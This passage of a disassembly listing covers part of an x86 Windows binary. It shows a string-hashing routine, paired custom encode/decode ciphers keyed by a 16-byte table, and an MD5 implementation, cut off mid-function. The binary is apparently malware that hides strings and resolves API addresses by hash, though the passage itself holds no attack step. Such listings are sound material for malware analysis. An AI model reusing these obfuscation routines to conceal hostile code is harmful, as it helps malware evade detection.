[eax] rol cl, cl mov [eax], cl inc eax dec edx jnz short loc_40ED29 pop edi pop esi pop ebx leave retn sub_40ECEB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40ED38 proc near ; CODE XREF: sub_40A9CF+14p ; cAddress:00411294p ... arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi mov esi, [ebp+arg_0] xor ecx, ecx xor eax, eax loc_40ED45: ; CODE XREF: sub_40ED38+2Fj mov cl, [esi] test ecx, ecx jz short loc_40ED69 cmp ecx, 61h jb short loc_40ED53 sub ecx, 20h loc_40ED53: ; CODE XREF: sub_40ED38+16j and ecx, 7Fh add eax, ecx and ecx, 0Fh mov cl, byte_41EA84[ecx] add eax, ecx rol eax, 3 inc esi jmp short loc_40ED45 ; --------------------------------------------------------------------------- loc_40ED69: ; CODE XREF: sub_40ED38+11j pop edi pop esi pop ebx pop ebp retn sub_40ED38 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40ED6E proc near ; CODE XREF: cAddress:004168FDp var_58 = byte ptr -58h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 58h push ebx push esi push edi lea eax, [ebp+var_58] push eax call sub_40F11F pop ecx push [ebp+arg_4] push [ebp+arg_0] lea eax, [ebp+var_58] push eax call sub_40F159 add esp, 0Ch lea eax, [ebp+var_58] push eax push offset dword_41EA98 call sub_40F26E pop ecx pop ecx lea esi, dword_41EA98 mov edi, esi push 10h pop ecx loc_40EDAE: ; CODE XREF: sub_40ED6E+48j lodsb xor al, 0AAh add al, al or al, 1 stosb loop loc_40EDAE pop edi pop esi pop ebx leave retn sub_40ED6E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EDBD proc near ; CODE XREF: sub_40EF29+Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_40EDCE ; --------------------------------------------------------------------------- loc_40EDC7: ; CODE XREF: sub_40EDBD+AFj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40EDCE: ; CODE XREF: sub_40EDBD+8j mov eax, [ebp+var_4] cmp eax, [ebp+arg_4] jge locret_40EE71 mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov al, [eax] sub al, 33h mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al mov eax, [ebp+var_4] cdq push 10h pop ecx idiv ecx mov eax, [ebp+arg_8] movzx eax, byte ptr [eax+edx] cdq push 10h pop ecx idiv ecx mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov ecx, [ebp+arg_8] mov al, [eax] sub al, [ecx+edx] mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al mov eax, [ebp+var_4] cdq push 10h pop ecx idiv ecx mov eax, [ebp+arg_8] movzx eax, byte ptr [eax+edx] not eax mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov cl, [ecx] xor cl, al mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov [eax], cl mov eax, [ebp+arg_4] cdq push 10h pop ecx idiv ecx shl edx, 2 mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov al, [eax] xor al, dl mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov al, [eax] add al, 1 mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al jmp loc_40EDC7 ; --------------------------------------------------------------------------- locret_40EE71: ; CODE XREF: sub_40EDBD+17j leave retn sub_40EDBD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EE73 proc near ; CODE XREF: sub_40EF41+Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_40EE84 ; --------------------------------------------------------------------------- loc_40EE7D: ; CODE XREF: sub_40EE73+AFj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40EE84: ; CODE XREF: sub_40EE73+8j mov eax, [ebp+var_4] cmp eax, [ebp+arg_4] jge locret_40EF27 mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov al, [eax] sub al, 1 mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al mov eax, [ebp+arg_4] cdq push 10h pop ecx idiv ecx shl edx, 2 mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov al, [eax] xor al, dl mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al mov eax, [ebp+var_4] cdq push 10h pop ecx idiv ecx mov eax, [ebp+arg_8] movzx eax, byte ptr [eax+edx] not eax mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov cl, [ecx] xor cl, al mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov [eax], cl mov eax, [ebp+var_4] cdq push 10h pop ecx idiv ecx mov eax, [ebp+arg_8] movzx eax, byte ptr [eax+edx] cdq push 10h pop ecx idiv ecx mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov ecx, [ebp+arg_8] mov al, [eax] add al, [ecx+edx] mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov al, [eax] add al, 33h mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al jmp loc_40EE7D ; --------------------------------------------------------------------------- locret_40EF27: ; CODE XREF: sub_40EE73+17j leave retn sub_40EE73 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EF29 proc near ; CODE XREF: sub_40A9CF+25Dp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push offset dword_41EA98 push [ebp+arg_4] push [ebp+arg_0] call sub_40EDBD add esp, 0Ch pop ebp retn sub_40EF29 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EF41 proc near ; CODE XREF: sub_40A9CF+380p ; sub_40D871+7ADp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push offset dword_41EA98 push [ebp+arg_4] push [ebp+arg_0] call sub_40EE73 add esp, 0Ch pop ebp retn sub_40EF41 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EF59 proc near ; CODE XREF: sub_40A9CF+271p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push [ebp+arg_4] push [ebp+arg_0] mov eax, [ebp+arg_0] add eax, 4 push eax call sub_416B52 ; memcpy add esp, 0Ch call sub_410422 mov [ebp+var_4], eax mov eax, [ebp+arg_0] add eax, 4 mov [ebp+arg_0], eax and [ebp+var_8], 0 jmp short loc_40EF91 ; --------------------------------------------------------------------------- loc_40EF8A: ; CODE XREF: sub_40EF59+7Ej mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_40EF91: ; CODE XREF: sub_40EF59+2Fj mov eax, [ebp+var_8] cmp eax, [ebp+arg_4] jge short loc_40EFD9 mov eax, [ebp+arg_0] add eax, [ebp+var_8] mov al, [eax] add al, byte ptr [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx], al mov eax, [ebp+arg_0] add eax, [ebp+var_8] mov al, [eax] xor al, byte ptr [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx], al push 1 push [ebp+var_4] call sub_416DF6 ; _lrotl pop ecx pop ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax jmp short loc_40EF8A ; --------------------------------------------------------------------------- loc_40EFD9: ; CODE XREF: sub_40EF59+3Ej mov eax, [ebp+arg_4] dec eax mov [ebp+var_8], eax jmp short loc_40EFE9 ; --------------------------------------------------------------------------- loc_40EFE2: ; CODE XREF: sub_40EF59+D4j mov eax, [ebp+var_8] dec eax mov [ebp+var_8], eax loc_40EFE9: ; CODE XREF: sub_40EF59+87j cmp [ebp+var_8], 0FFFFFFFFh jz short loc_40F02F mov eax, [ebp+arg_0] add eax, [ebp+var_8] mov al, [eax] add al, byte ptr [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx], al mov eax, [ebp+arg_0] add eax, [ebp+var_8] mov al, [eax] xor al, byte ptr [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx], al push 1 push [ebp+var_4] call sub_416DF6 ; _lrotl pop ecx pop ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax jmp short loc_40EFE2 ; --------------------------------------------------------------------------- loc_40F02F: ; CODE XREF: sub_40EF59+94j mov eax, [ebp+arg_0] mov ecx, [ebp+var_4] mov [eax-4], ecx mov eax, [ebp+arg_4] add eax, 4 leave retn sub_40EF59 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F040 proc near ; CODE XREF: sub_40A9CF+366p ; sub_40D871+792p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] mov eax, [eax] mov [ebp+var_4], eax mov eax, [ebp+arg_4] sub eax, 4 push eax mov eax, [ebp+arg_0] add eax, 4 push eax push [ebp+arg_0] call sub_416E02 ; memmove add esp, 0Ch mov eax, [ebp+arg_4] sub eax, 4 mov [ebp+arg_4], eax and [ebp+var_8], 0 jmp short loc_40F07C ; --------------------------------------------------------------------------- loc_40F075: ; CODE XREF: sub_40F040+82j mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_40F07C: ; CODE XREF: sub_40F040+33j mov eax, [ebp+var_8] cmp eax, [ebp+arg_4] jge short loc_40F0C4 mov eax, [ebp+var_4] sub eax, [ebp+var_8] mov [ebp+var_4], eax push 1 push [ebp+var_4] call sub_416DFC ; _lrotr pop ecx pop ecx mov [ebp+var_4], eax mov eax, [ebp+arg_0] add eax, [ebp+var_8] mov al, [eax] xor al, byte ptr [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx], al mov eax, [ebp+arg_0] add eax, [ebp+var_8] mov al, [eax] sub al, byte ptr [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx], al jmp short loc_40F075 ; --------------------------------------------------------------------------- loc_40F0C4: ; CODE XREF: sub_40F040+42j mov eax, [ebp+arg_4] dec eax mov [ebp+var_8], eax jmp short loc_40F0D4 ; --------------------------------------------------------------------------- loc_40F0CD: ; CODE XREF: sub_40F040+D8j mov eax, [ebp+var_8] dec eax mov [ebp+var_8], eax loc_40F0D4: ; CODE XREF: sub_40F040+8Bj cmp [ebp+var_8], 0FFFFFFFFh jz short loc_40F11A mov eax, [ebp+var_4] sub eax, [ebp+var_8] mov [ebp+var_4], eax push 1 push [ebp+var_4] call sub_416DFC ; _lrotr pop ecx pop ecx mov [ebp+var_4], eax mov eax, [ebp+arg_0] add eax, [ebp+var_8] mov al, [eax] xor al, byte ptr [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx], al mov eax, [ebp+arg_0] add eax, [ebp+var_8] mov al, [eax] sub al, byte ptr [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx], al jmp short loc_40F0CD ; --------------------------------------------------------------------------- loc_40F11A: ; CODE XREF: sub_40F040+98j mov eax, [ebp+arg_4] leave retn sub_40F040 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F11F proc near ; CODE XREF: sub_40ECEB+Dp ; sub_40ED6E+Dp ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] mov dword ptr [eax], 67452301h mov eax, [ebp+arg_0] mov dword ptr [eax+4], 0EFCDAB89h mov eax, [ebp+arg_0] mov dword ptr [eax+8], 98BADCFEh mov eax, [ebp+arg_0] mov dword ptr [eax+0Ch], 10325476h mov eax, [ebp+arg_0] and dword ptr [eax+10h], 0 mov eax, [ebp+arg_0] and dword ptr [eax+14h], 0 pop ebp retn sub_40F11F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F159 proc near ; CODE XREF: sub_40ECEB+1Dp ; sub_40ED6E+1Dp ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] mov eax, [eax+10h] mov [ebp+var_4], eax mov eax, [ebp+arg_8] mov ecx, [ebp+var_4] lea eax, [ecx+eax*8] mov ecx, [ebp+arg_0] mov [ecx+10h], eax mov eax, [ebp+arg_0] mov eax, [eax+10h] cmp eax, [ebp+var_4] jnb short loc_40F18E mov eax, [ebp+arg_0] mov eax, [eax+14h] inc eax mov ecx, [ebp+arg_0] mov [ecx+14h], eax loc_40F18E: ; CODE XREF: sub_40F159+26j mov eax, [ebp+arg_8] shr eax, 1Dh mov ecx, [ebp+arg_0] mov ecx, [ecx+14h] add ecx, eax mov eax, [ebp+arg_0] mov [eax+14h], ecx mov eax, [ebp+var_4] shr eax, 3 and eax, 3Fh mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_40F21C mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] lea eax, [ecx+eax+18h] mov [ebp+var_8], eax push 40h pop eax sub eax, [ebp+var_4] mov [ebp+var_4], eax mov eax, [ebp+arg_8] cmp eax, [ebp+var_4] jnb short loc_40F1E8 push [ebp+arg_8] push [ebp+arg_4] push [ebp+var_8] call sub_416B52 ; memcpy add esp, 0Ch jmp locret_40F26C ; --------------------------------------------------------------------------- loc_40F1E8: ; CODE XREF: sub_40F159+77j push [ebp+var_4] push [ebp+arg_4] push [ebp+var_8] call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+arg_0] add eax, 18h push eax push [ebp+arg_0] call sub_40F3CE pop ecx pop ecx mov eax, [ebp+arg_4] add eax, [ebp+var_4] mov [ebp+arg_4], eax mov eax, [ebp+arg_8] sub eax, [ebp+var_4] mov [ebp+arg_8], eax loc_40F21C: ; CODE XREF: sub_40F159+59j ; sub_40F159+FCj cmp [ebp+arg_8], 40h jb short loc_40F257 push 40h push [ebp+arg_4] mov eax, [ebp+arg_0] add eax, 18h push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_4] push [ebp+arg_0] call sub_40F3CE pop ecx pop ecx mov eax, [ebp+arg_4] add eax, 40h mov [ebp+arg_4], eax mov eax, [ebp+arg_8] sub eax, 40h mov [ebp+arg_8], eax jmp short loc_40F21C ; --------------------------------------------------------------------------- loc_40F257: ; CODE XREF: sub_40F159+C7j push [ebp+arg_8] push [ebp+arg_4] mov eax, [ebp+arg_0] add eax, 18h push eax call sub_416B52 ; memcpy add esp, 0Ch locret_40F26C: ; CODE XREF: sub_40F159+8Aj leave retn sub_40F159 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F26E proc near ; CODE XREF: sub_40ECEB+2Ep ; sub_40ED6E+2Ep ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_4] mov eax, [eax+10h] shr eax, 3 and eax, 3Fh mov [ebp+var_8], eax mov eax, [ebp+var_8] mov ecx, [ebp+arg_4] lea eax, [ecx+eax+18h] mov [ebp+var_4], eax mov eax, [ebp+var_4] mov byte ptr [eax], 80h mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax push 3Fh pop eax sub eax, [ebp+var_8] mov [ebp+var_8], eax cmp [ebp+var_8], 8 jnb short loc_40F2E1 push [ebp+var_8] push 0 push [ebp+var_4] call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+arg_4] add eax, 18h push eax push [ebp+arg_4] call sub_40F3CE pop ecx pop ecx push 38h push 0 mov eax, [ebp+arg_4] add eax, 18h push eax call sub_416B6A ; memset add esp, 0Ch jmp short loc_40F2F5 ; --------------------------------------------------------------------------- loc_40F2E1: ; CODE XREF: sub_40F26E+3Bj mov eax, [ebp+var_8] sub eax, 8 push eax push 0 push [ebp+var_4] call sub_416B6A ; memset add esp, 0Ch loc_40F2F5: ; CODE XREF: sub_40F26E+71j push 8 mov eax, [ebp+arg_4] add eax, 10h push eax mov eax, [ebp+arg_4] add eax, 50h push eax call sub_40F33F add esp, 0Ch mov eax, [ebp+arg_4] add eax, 18h push eax push [ebp+arg_4] call sub_40F3CE pop ecx pop ecx push 10h push [ebp+arg_4] push [ebp+arg_0] call sub_40F33F add esp, 0Ch push 4 push 0 push [ebp+arg_4] call sub_416B6A ; memset add esp, 0Ch leave retn sub_40F26E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F33F proc near ; CODE XREF: sub_40F26E+97p ; sub_40F26E+B8p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx and [ebp+var_4], 0 and [ebp+var_8], 0 jmp short loc_40F35E ; --------------------------------------------------------------------------- loc_40F34E: ; CODE XREF: sub_40F33F+8Bj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax mov eax, [ebp+var_8] add eax, 4 mov [ebp+var_8], eax loc_40F35E: ; CODE XREF: sub_40F33F+Dj mov eax, [ebp+var_8] cmp eax, [ebp+arg_8] jnb short locret_40F3CC mov eax, [ebp+var_4] mov ecx, [ebp+arg_4] mov eax, [ecx+eax*4] and eax, 0FFh mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx], al mov eax, [ebp+var_4] mov ecx, [ebp+arg_4] mov eax, [ecx+eax*4] shr eax, 8 and eax, 0FFh mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx+1], al mov eax, [ebp+var_4] mov ecx, [ebp+arg_4] mov eax, [ecx+eax*4] shr eax, 10h and eax, 0FFh mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx+2], al mov eax, [ebp+var_4] mov ecx, [ebp+arg_4] mov eax, [ecx+eax*4] shr eax, 18h and eax, 0FFh mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx+3], al jmp short loc_40F34E ; --------------------------------------------------------------------------- locret_40F3CC: ; CODE XREF: sub_40F33F+25j leave retn sub_40F33F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F3CE proc near ; CODE XREF: sub_40F159+AAp ; sub_40F159+E3p ... var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 50h push 40h push [ebp+arg_4] lea eax, [ebp+var_50] push eax call sub_410244 add esp, 0Ch mov eax, [ebp+arg_0] mov eax, [eax] mov [ebp+var_4], eax mov eax, [ebp+arg_0] mov eax, [eax+4] mov [ebp+var_8], eax mov eax, [ebp+arg_0] mov eax, [eax+8] mov [ebp+var_C], eax mov eax, [ebp+arg_0] mov eax, [eax+0Ch] mov [ebp+var_10], eax mov eax, [ebp+var_8] and eax, [ebp+var_C] mov ecx, [ebp+var_8] not ecx and ecx, [ebp+var_10] or eax, ecx add eax, [ebp+var_50] mov ecx, [ebp+var_4] lea eax, [ecx+eax-28955B88h] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 7 mov ecx, [ebp+var_4] shr ecx, 19h or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_4] and eax, [ebp+var_8] mov ecx, [ebp+var_4] not ecx and ecx, [ebp+var_C] or eax, ecx add eax, [ebp+var_4C] mov ecx, [ebp+var_10] lea eax, [ecx+eax-173848AAh] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Ch mov ecx, [ebp+var_10] shr ecx, 14h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_10] and eax, [ebp+var_4] mov ecx, [ebp+var_10] not ecx and ecx, [ebp+var_8] or eax, ecx add eax, [ebp+var_48] mov ecx, [ebp+var_C] lea eax, [ecx+eax+242070DBh] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 11h mov ecx, [ebp+var_C] shr ecx, 0Fh or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, [ebp+var_10] mov ecx, [ebp+var_C] not ecx and ecx, [ebp+var_4] or eax, ecx add eax, [ebp+var_44] mov ecx, [ebp+var_8] lea eax, [ecx+eax-3E423112h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 16h mov ecx, [ebp+var_8] shr ecx, 0Ah or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_8] and eax, [ebp+var_C] mov ecx, [ebp+var_8] not ecx and ecx, [ebp+var_10] or eax, ecx add eax, [ebp+var_40] mov ecx, [ebp+var_4] lea eax, [ecx+eax-0A83F051h] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 7 mov ecx, [ebp+var_4] shr ecx, 19h or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_4] and eax, [ebp+var_8] mov ecx, [ebp+var_4] not ecx and ecx, [ebp+var_C] or eax, ecx add eax, [ebp+var_3C] mov ecx, [ebp+var_10] lea eax, [ecx+eax+4787C62Ah] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Ch mov ecx, [ebp+var_10] shr ecx, 14h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_10] and eax, [ebp+var_4] mov ecx, [ebp+var_10] not ecx and ecx, [ebp+var_8] or eax, ecx add eax, [ebp+var_38] mov ecx, [ebp+var_C] lea eax, [ecx+eax-57CFB9EDh] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 11h mov ecx, [ebp+var_C] shr ecx, 0Fh or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, [ebp+var_10] mov ecx, [ebp+var_C] not ecx and ecx, [ebp+var_4] or eax, ecx add eax, [ebp+var_34] mov ecx, [ebp+var_8] lea eax, [ecx+eax-2B96AFFh] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 16h mov ecx, [ebp+var_8] shr ecx, 0Ah or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_8] and eax, [ebp+var_C] mov ecx, [ebp+var_8] not ecx and ecx, [ebp+var_10] or eax, ecx add eax, [ebp+var_30] mov ecx, [ebp+var_4] lea eax, [ecx+eax+698098D8h] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 7 mov ecx, [ebp+var_4] shr ecx, 19h or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_4] and eax, [ebp+var_8] mov ecx, [ebp+var_4] not ecx and ecx, [ebp+var_C] or eax, ecx add eax, [ebp+var_2C] mov ecx, [ebp+var_10] lea eax, [ecx+eax-74BB0851h] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Ch mov ecx, [ebp+var_10] shr ecx, 14h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_10] and eax, [ebp+var_4] mov ecx, [ebp+var_10] not ecx and ecx, [ebp+var_8] or eax, ecx add eax, [ebp+var_28] mov ecx, [ebp+var_C] lea eax, [ecx+eax-0A44Fh] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 11h mov ecx, [ebp+var_C] shr ecx, 0Fh or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, [ebp+var_10] mov ecx, [ebp+var_C] not ecx and ecx, [ebp+var_4] or eax, ecx add eax, [ebp+var_24] mov ecx, [ebp+var_8] lea eax, [ecx+eax-76A32842h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 16h mov ecx, [ebp+var_8] shr ecx, 0Ah or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_8] and eax, [ebp+var_C] mov ecx, [ebp+var_8] not ecx and ecx, [ebp+var_10] or eax, ecx add eax, [ebp+var_20] mov ecx, [ebp+var_4] lea eax, [ecx+eax+6B901122h] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 7 mov ecx, [ebp+var_4] shr ecx, 19h or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_4] and eax, [ebp+var_8] mov ecx, [ebp+var_4] not ecx and ecx, [ebp+var_C] or eax, ecx add eax, [ebp+var_1C] mov ecx, [ebp+var_10] lea eax, [ecx+eax-2678E6Dh] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Ch mov ecx, [ebp+var_10] shr ecx, 14h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_10] and eax, [ebp+var_4] mov ecx, [ebp+var_10] not ecx and ecx, [ebp+var_8] or eax, ecx add eax, [ebp+var_18] mov ecx, [ebp+var_C] lea eax, [ecx+eax-5986BC72h] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 11h mov ecx, [ebp+var_C] shr ecx, 0Fh or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, [ebp+var_10] mov ecx, [ebp+var_C] not ecx and ecx, [ebp+var_4] or eax, ecx add eax, [ebp+var_14] mov ecx, [ebp+var_8] lea eax, [ecx+eax+49B40821h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 16h mov ecx, [ebp+var_8] shr ecx, 0Ah or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_10] and eax, [ebp+var_8] mov ecx, [ebp+var_10] not ecx and ecx, [ebp+var_C] or eax, ecx add eax, [ebp+var_4C] mov ecx, [ebp+var_4] lea eax, [ecx+eax-9E1DA9Eh] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 5 mov ecx, [ebp+var_4] shr ecx, 1Bh or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_C] and eax, [ebp+var_4] mov ecx, [ebp+var_C] not ecx and ecx, [ebp+var_8] or eax, ecx add eax, [ebp+var_38] mov ecx, [ebp+var_10] lea eax, [ecx+eax-3FBF4CC0h] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 9 mov ecx, [ebp+var_10] shr ecx, 17h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_8] and eax, [ebp+var_10] mov ecx, [ebp+var_8] not ecx and ecx, [ebp+var_4] or eax, ecx add eax, [ebp+var_24] mov ecx, [ebp+var_C] lea eax, [ecx+eax+265E5A51h] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 0Eh mov ecx, [ebp+var_C] shr ecx, 12h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_4] and eax, [ebp+var_C] mov ecx, [ebp+var_4] not ecx and ecx, [ebp+var_10] or eax, ecx add eax, [ebp+var_50] mov ecx, [ebp+var_8] lea eax, [ecx+eax-16493856h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 14h mov ecx, [ebp+var_8] shr ecx, 0Ch or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_10] and eax, [ebp+var_8] mov ecx, [ebp+var_10] not ecx and ecx, [ebp+var_C] or eax, ecx add eax, [ebp+var_3C] mov ecx, [ebp+var_4] lea eax, [ecx+eax-29D0EFA3h] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 5 mov ecx, [ebp+var_4] shr ecx, 1Bh or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov 